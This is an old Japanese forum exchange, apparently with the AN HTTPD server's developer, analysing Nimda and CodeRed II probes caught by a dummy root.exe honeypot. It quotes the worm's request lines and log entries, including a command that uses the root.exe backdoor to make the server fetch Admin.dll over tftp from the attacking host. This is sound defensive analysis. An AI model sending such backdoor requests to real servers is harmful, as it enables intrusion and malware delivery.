TAさん、
なぜ違う処理が、という話については、
/scripts/root.exe?/c+dir に対して正常な応答(200)だと次のリクエストを出すからだと思います。
次に出すリクエストは、
/scripts/root.exe?/c+tftp%20-i%20*.*.*.41%20GET%20Admin.dll%20Admin.dll
ということなのでしょう。
意図としては、
cmd.exe /c tftp -i *.*.*.41 GET Admin.dll Admin.dll
を実行するということになりますね。
root.exe は CodeRed II が cmd.exe をコピーして作ったもののはずだからです。
もっとも Admin.dll を tftp で取り寄せて次にどうするのかよくわかりませんが。
httpd.log にこのリクエストが記録されないのは、不測のエラーだからでしょう。その点は AN HTTPD の不備かもしれません。
また、Admin.dll の .dll を見て ISAPI DLL だとして LoadLibrary を実行しているのもまずいですね。 拡張子の判断が手抜きだからだと思うので、ログとあわせて見直します。
もちろん、いずれもセキュリティ上の問題にはならないと思いますけど。
ウイルス話が出ているところで、その関連の話で恐縮です。
今は、1.37dを使っています。
root.exeをperlで書いて、ダミーディレクトリ情報を出力するようにしています。
つまり、nimdaが最近多いので、何をしているのか見てみようと想ったのです。
すると、
*.*.*.41 - - [18/Dec/2001:09:13:33 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200 403となります。
は動いているのですが、httpd.logに残らずに、isapi.logに
Tue Dec 18 09:13:43 2001 Loading Library c:\perl\bin\perl f:\http\cgi-bin\root.exe /c tftp%20-i%20*.*.*.41%20GET%20Admin.dll%20Admin.dll
Tue Dec 18 09:13:43 2001 ISAPI Libary unloaded
そして、errors.logに
LoadLibrary("c:\perl\bin\perl f:\http\cgi-bin\root.exe /c tftp%20-i%20*.*.*.41%20GET%20Admin.dll%20Admin.dll") failed with errorcode = 0